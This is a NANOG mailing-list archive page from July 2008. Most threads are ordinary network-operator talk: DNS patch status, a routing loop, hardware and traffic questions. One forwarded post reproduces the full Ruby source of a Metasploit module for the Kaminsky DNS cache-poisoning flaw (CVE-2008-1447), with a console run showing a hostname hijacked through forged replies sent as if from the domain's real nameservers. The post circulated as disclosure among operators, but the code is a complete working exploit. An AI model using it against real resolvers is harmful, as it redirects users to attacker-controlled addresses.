- Test - lists.nanog.org

Re: 2nd Exploit for DNS Cache Poisoning - RELEASED
by Paul Ferguson 24 Jul '08

24 Jul '08

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -- "Tuc at T-B-O-H.NET" <ml(a)t-b-o-h.net> wrote: >Not sure if anyone has seen yet, but there is a 2nd >exploit being circulated. I just picked it up on metasploits >SVN trunk.... I haven't seen that one yet, but I just ran across this: http://www.milw0rm.com/exploits/6123 - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.6.3 (Build 3017) wj8DBQFIiNBFq1pz9mNUZTMRAozhAKD+IkD/HGywNFttPI6ilKreNGP0UQCeKZ98 u76UOCvKXD9+zvdlSR8S/oc= =N5am -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawg(at)netzero.net ferg's tech blog: http://fergdawg.blogspot.com/

2 1

RE: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?
by Justin M. Streiner 24 Jul '08

24 Jul '08

On Thu, 24 Jul 2008, Scott Berkman wrote: > Is it just me or is the test page below down now? > > Or maybe some poisoned the NS record for dns-oarc.net and sent it to > nowhere to stop testing! (J/K since I can get to the rest of the page > fine). Might be the Slashdot effect, in a manner of speaking, since the NANOG community is quite large. jms

1 0

Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked?
by Rubens Kuhl Jr. 24 Jul '08

24 Jul '08

Some broadband providers here in .br seems to be blocking access to the dns-oarc.net test zone (but not to the portal site); most thought it was intended behavior by those providers (hiding instead of patching), but you are right, someone might have corrupted the test zone itself, which aleviates the pressure on the provider to patch it which in turn keeps the exploits working for more time. Rubens On Thu, Jul 24, 2008 at 3:45 PM, Scott Berkman <scott.berkman(a)reignmaker.net> wrote: > Is it just me or is the test page below down now? > > Or maybe some poisoned the NS record for dns-oarc.net and sent it to > nowhere to stop testing! (J/K since I can get to the rest of the page > fine). > > -Scott > > -----Original Message----- > From: Ken A [mailto:ka@pacific.net] > Sent: Thursday, July 24, 2008 2:40 PM > To: Steve Tornio > Cc: nanog(a)merit.edu > Subject: Re: Paul Vixie: Re: [dns-operations] DNS issue accidentally > leaked? > > Steve Tornio wrote: >> >> On Jul 24, 2008, at 12:17 PM, Duane Wessels wrote: >> >>>> xpara.com tests to lock up my iPhone, or I would use that checker to >>>> verify the iPhone DNS. Anyone have a link to a decent test that I >>>> could run on the iPhone? >>> >>> Give this one a try: >>> >>> http://entropy.dns-oarc.net/test/ >>> >> >> In this test, my iPhone reports: >> >> 209.183.33.23 Source Port Randomness: GREAT >> 209.183.33.23 Transaction ID Randomness: GREAT >> >> I encourage anyone else concerned with their providers to actually test >> them instead of taking anyone's word for it. >> >> Steve >> > > on AT&T you might want to run it more than once.. Mine shows POOR 1 out > of 5 times. :-( > Hope they finish patching sooooon! > Ken > > -- > Ken Anderson > Pacific.Net > > > >

1 0

Independent Testing for Network Hardware
by Brian Knoll (TT) 24 Jul '08

24 Jul '08

Can anyone recommend a reliable independent testing company that tests network hardware performance? We are considering buying testing hardware (right now we are looking at Spirent TestCenter) and I wanted to see if there were other options... Brian Knoll

5 6

SBCglobal routing loop.
by Logan Rawlins 24 Jul '08

24 Jul '08

Anyone from sbcglobal out there? i'm seeing a routing loop. Please contact me off list thanks. sourceip: 69.16.137.66 tracert 75.58.215.133 Tracing route to adsl-75-58-215-133.dsl.hstntx.sbcglobal.net [75.58.215.133] over a maximum of 30 hops: 1 2 ms <1 ms <1 ms 192.168.113.1 2 1 ms 2 ms 2 ms 69.16.137.66 3 1 ms 2 ms 2 ms e-2-21-1000m.core-04.phx2.puregig.net [69.16.128 .110] 4 2 ms 2 ms 5 ms v303.ar1.ph.hwng.net [69.16.128.137] 5 1 ms 1 ms 2 ms ve1011.r2.ph.hwng.net [69.16.190.161] 6 11 ms 20 ms 11 ms 2-1.r1.la.hwng.net [69.16.191.37] 7 12 ms 11 ms 11 ms vl101.ar1.lax1.us.nlayer.net [69.31.127.29] 8 11 ms 11 ms 11 ms ae0-60.cr1.lax1.us.nlayer.net [69.31.127.165] 9 11 ms 11 ms 11 ms ex1-g12-0.eqlaca.sbcglobal.net [69.31.127.50] 10 11 ms 11 ms 11 ms 151.164.188.139 11 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 12 11 ms 11 ms 11 ms 151.164.188.139 13 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 14 14 ms 11 ms 11 ms 151.164.188.139 15 11 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 16 11 ms 11 ms 11 ms 151.164.188.139 17 11 ms 12 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 18 11 ms 11 ms 11 ms 151.164.188.139 19 12 ms 11 ms 11 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 20 12 ms 11 ms 11 ms 151.164.188.139 21 11 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 22 11 ms 11 ms 11 ms 151.164.188.139 23 14 ms 11 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 24 11 ms 11 ms 11 ms 151.164.188.139 25 11 ms 11 ms 16 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 26 14 ms 11 ms 12 ms 151.164.188.139 27 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 28 12 ms 11 ms 11 ms 151.164.188.139 29 11 ms 12 ms 12 ms bb2-p14-0.scrm01.sbcglobal.net [151.164.188.138] 30 11 ms 11 ms 11 ms 151.164.188.139 Trace complete.

12 12

SANS: DNS Bug Now Public?
by Jon Kibler 24 Jul '08

24 Jul '08

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SANS is reporting that Kaminsky's DNS bug may be now being exploited in the wild. See: http://isc.sans.org/diary.html?n&storyid=4765 Jon Kibler - -- Jon R. Kibler Chief Technical Officer Advanced Systems Engineering Technology, Inc. Charleston, SC USA o: 843-849-8214 c: 843-224-2494 s: 843-564-4224 My PGP Fingerprint is: BAA2 1F2C 5543 5D25 4636 A392 515C 5045 CF39 4253 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkiF1T8ACgkQUVxQRc85QlMN1ACfTR8oJRy2V27+c5PjERcUjgIU evAAn1sDR9xMc1bEmTeygXl7QkF9er2T =eqbc -----END PGP SIGNATURE----- ================================================== Filtered by: TRUSTEM.COM's Email Filtering Service http://www.trustem.com/ No Spam. No Viruses. Just Good Clean Email.

9 9

[Fwd: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit]
by Stephen Williams 24 Jul '08

24 Jul '08

just posted on bugtraq and uk newsgroups.... -------- Original Message -------- Subject: CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit Date: Wed, 23 Jul 2008 18:34:26 -0500 From: I)ruid <druid(a)caughq.org> Organization: Computer Academic Underground To: full-disclosure(a)lists.grok.org.uk CC: bugtraq <bugtraq(a)securityfocus.com> ____ ____ __ __ / \ / \ | | | | ----====####/ /\__\##/ /\ \##| |##| |####====---- | | | |__| | | | | | | | ___ | __ | | | | | ------======######\ \/ /#| |##| |#| |##| |######======------ \____/ |__| |__| \______/ Computer Academic Underground http://www.caughq.org Exploit Code ===============/======================================================== Exploit ID: CAU-EX-2008-0002 Release Date: 2008.07.23 Title: bailiwicked_host.rb Description: Kaminsky DNS Cache Poisoning Flaw Exploit Tested: BIND 9.4.1-9.4.2 Attributes: Remote, Poison, Resolver, Metasploit Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0002.txt Author/Email: I)ruid <druid (@) caughq.org> H D Moore <hdm (@) metasploit.com> ===============/======================================================== Description =========== This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious host entry into the target nameserver. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. Example ======= # /msf3/msfconsole _ _ _ _ | | | | (_) | _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| | | |_| =[ msf v3.2-release + -- --=[ 298 exploits - 124 payloads + -- --=[ 18 encoders - 6 nops =[ 72 aux msf > use auxiliary/spoof/dns/bailiwicked_host msf auxiliary(bailiwicked_host) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- HOSTNAME pwned.example.com yes Hostname to hijack NEWADDR 1.3.3.7 yes New address for hostname RECONS 208.67.222.222 yes Nameserver used for reconnaissance RHOST yes The target address SRCPORT yes The target server's source query port (0 for automatic) XIDS 10 yes Number of XIDs to try for each query msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D RHOST => A.B.C.D msf auxiliary(bailiwicked_host) > check [*] Using the Metasploit service to verify exploitability... [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] >> ADDRESS: A.B.C.D PORT: 48178 [*] FAIL: This server uses static source ports and is vulnerable to poisoning msf auxiliary(bailiwicked_host) > set SRCPORT 0 SRCPORT => 0 msf auxiliary(bailiwicked_host) > run [*] Switching to target port 48178 based on Metasploit service [*] Targeting nameserver A.B.C.D [*] Querying recon nameserver for example.com.'s nameservers... [*] Got answer with 2 answers, 0 authorities [*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com. [*] Querying recon nameserver for address of ns89.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45 [*] Checking Authoritativeness: Querying 205.178.190.45 for example.com.... [*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com. [*] Querying recon nameserver for address of ns90.worldnic.com.... [*] Got answer with 1 answers, 0 authorities [*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45 [*] Checking Authoritativeness: Querying 205.178.144.45 for example.com.... [*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as [*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178... [*] Sent 1000 queries and 20000 spoofed responses... [*] Sent 2000 queries and 40000 spoofed responses... [*] Sent 3000 queries and 60000 spoofed responses... [*] Sent 4000 queries and 80000 spoofed responses... [*] Sent 5000 queries and 100000 spoofed responses... [*] Sent 6000 queries and 120000 spoofed responses... [*] Sent 7000 queries and 140000 spoofed responses... [*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7 [*] Auxiliary module execution completed msf auxiliary(bailiwicked_host) > msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D [*] exec: nslookup pwned.example.com A.B.C.D Server: A.B.C.D Address: A.B.C.D#53 Non-authoritative answer: Name: pwned.example.com Address: 1.3.3.7 Credits ======= Dan Kaminsky is credited with originally discovering this vulnerability. References ========== http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447 http://www.kb.cert.org/vuls/id/800113 Metasploit ========== require 'msf/core' require 'net/dns' require 'scruby' require 'resolv' module Msf class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack', 'Description' => %q{ This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single malicious host entry into the target nameserver by sending random sub-domain queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for the domain which contain a malicious host entry for the hostname to be poisoned in the authority and additional records sections. Eventually, a guessed ID will match and the spoofed packet will get accepted, and due to the additional hostname entry being within bailiwick constraints of the original request the malicious host entry will get cached. }, 'Author' => [ 'I)ruid', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 5585 $', 'References' => [ [ 'CVE', '2008-1447' ], [ 'US-CERT-VU', '8000113' ], [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ], ], 'Privileged' => true, 'Targets' => [ ["BIND", { 'Arch' => ARCH_X86, 'Platform' => 'linux', }, ], ], 'DisclosureDate' => 'Jul 21 2008' )) register_options( [ OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]), OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']), OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']), OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']), OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]), OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]), ], self.class) end def auxiliary_commands return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" } end def cmd_check(*args) targ = args[0] || rhost() if(not (targ and targ.length > 0)) print_status("usage: check [dns-server]") return end print_status("Using the Metasploit service to verify exploitability...") srv_sock = Rex::Socket.create_udp( 'PeerHost' => targ, 'PeerPort' => 53 ) random = false ports = [] lport = nil 1.upto(5) do |i| req = Resolv::DNS::Message.new txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}") t_port = t_port.to_i if(lport and lport != t_port) random = true end lport = t_port ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i ttl = datastore['TTL'].to_i xidbase = rand(4)+2*10000 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] srv_sock = Rex::Socket.create_udp( 'PeerHost' => target, 'PeerPort' => 53 ) # Get the source port via the metasploit service if it's not set if sport.to_i == 0 req = Resolv::DNS::Message.new txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com" req.add_question(txt, Resolv::DNS::Resource::IN::TXT) req.rd = 1 srv_sock.put(req.encode) res, addr = srv_sock.recvfrom() if res and res.length > 0 res = Resolv::DNS::Message.decode(res) res.each_answer do |name, ttl, data| if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m) t_addr, t_port = $1.split(':') sport = t_port.to_i print_status("Switching to target port #{sport} based on Metasploit service") if target != t_addr print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!") end end end end end # Verify its not already cached begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 begin cached = false srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) t = Time.now + ttl print_status("Failure: This hostname is already in the target cache: #{name} == #{address}") print_status(" Cache entry expires on #{t.to_s}... sleeping.") cached = true sleep ttl end end end end until not cached rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}") end res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}" # Look up the nameservers for the domain print_status "Querying recon nameserver for #{domain}'s nameservers..." answer0 = res0.send(domain, Net::DNS::NS) #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities" barbs = [] # storage for nameservers answer0.answer.each do |rr0| print_status " Got an #{rr0.type} record: #{rr0.inspect}" if rr0.type == 'NS' print_status " Querying recon nameserver for address of #{rr0.nsdname}..." answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities" answer1.answer.each do |rr1| print_status " Got an #{rr1.type} record: #{rr1.inspect}" res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..." answer2 = res2.send(domain) if answer2 and answer2.header.auth? and answer2.header.anCount >= 1 nsrec = {:name => rr0.nsdname, :addr => rr1.address} barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s, :src => source, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => (rand((2**16)-1024)+1024).to_i, :dport => 53 )/req.encode ).to_net ip_sock.sendto(buff, target) queries += 1 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr]) req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname))) req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address)) req.qr = 1 req.ra = 1 xidbase.upto(xidbase+xids-1) do |id| req.id = id barbs.each do |barb| buff = ( Scruby::IP.new( #:src => barbs[i][:addr].to_s, :src => barb[:addr].to_s, :dst => target, :proto => 17 )/Scruby::UDP.new( :sport => 53, :dport => sport.to_i )/req.encode ).to_net ip_sock.sendto(buff, target) responses += 1 end end # status update if queries % 1000 == 0 print_status("Sent #{queries} queries and #{responses} spoofed responses...") end # every so often, check and see if the target is poisoned... if queries % 250 == 0 begin query = Resolv::DNS::Message.new query.add_question(hostname, Resolv::DNS::Resource::IN::A) query.rd = 0 srv_sock.put(query.encode) answer, addr = srv_sock.recvfrom() if answer and answer.length > 0 answer = Resolv::DNS::Message.decode(answer) answer.each_answer do |name, ttl, data| if((name.to_s + ".") == hostname and data.address.to_s == address) print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}") disconnect_ip return end end end rescue ::Interrupt raise $! rescue ::Exception => e print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}") end end end end end end -- I)ruid, C²ISSP druid(a)caughq.org http://druid.caughq.org -- ''' (O O) ,-------------- oOO-(_)-OOo -------------, | Stephen Williams | | Manager of Computer Services | | Center for Space Research | | University of Texas at Austin | | 3925 W. Braker Ln., Suite 200 | | Austin, TX 78759-5321 | | 512.471.7235 512.471.3570 (fax) | | williams(a)csr.utexas.edu | |____________________ Oooo ______________| oooO ( ) ( ) ) / \ ( (_/ \_)

1 0

OT: 2-post rack security covers
by Justin Shore 24 Jul '08

24 Jul '08

Somewhere I've seen what amounts to a concave cover that you can mount over the face of gear racked in a 2-post. The cover I saw had a bracket that mounted to the 2-post before any equipment was installed and it had a couple knobs sticking out (basically consuming a U on each end). Then you racked up the equipment through the holes in the bracket you mounted earlier. Finally the cover (which sticks out about 6") slips over the front of all the gear, down onto the knobs and locks in place with a mechanism that grasps the metal knobs. I've also seen ones that don't lock. The point of this is to provide additional security in a cageless co-lo environment like what you'd find in most COs providing RLEC services as well as prevent accidental damage to the cabling on the front of equipment. Does anyone have a specific name for what I'm talking about? Vendor or product reference? I've looked through all my catalogs and can't find what I'm looking for. I'd like to think that no one would mess with out wiring or devices in those COs but of course I can't guarantee that. The damage someone could do to our cross-connects in a few seconds time is something I'd like to avoid. A SFP or GBIC can be stolen quickly too with minimal effort. No sense in tempting people if it can be helped. Thanks Justin

1 0

XO contact
by Zaid Ali 24 Jul '08

24 Jul '08

Can someone from XO who handles this neighbor 65.46.253.157 help me out with a BGP session going down? This is the second time within a week where a misconfiguration of an ACL on XO end is bringing down my BGP session with you and its frustrating to go through the normal tech support chain. Zaid

4 3

Avg. Packet Size - Again?
by Sean Hafeez 24 Jul '08

24 Jul '08

Most of the data and studies I have found on this topic are a bit out of date. I would be interested in find out what the average packet size people are seeing on their backbones is at this point and time? Also for those in the DC space what is average packet size you are seeing for web farm traffic (outbound)? Yes I know there are 1000's of answers and different possibilities in setups so please no, "this is a dumb question". I am well aware of all the variables involved in this. I am just looking for some data points that come from a wide degree of sources. Is this data even something that you track and if so why? Thanks! Sean

10 9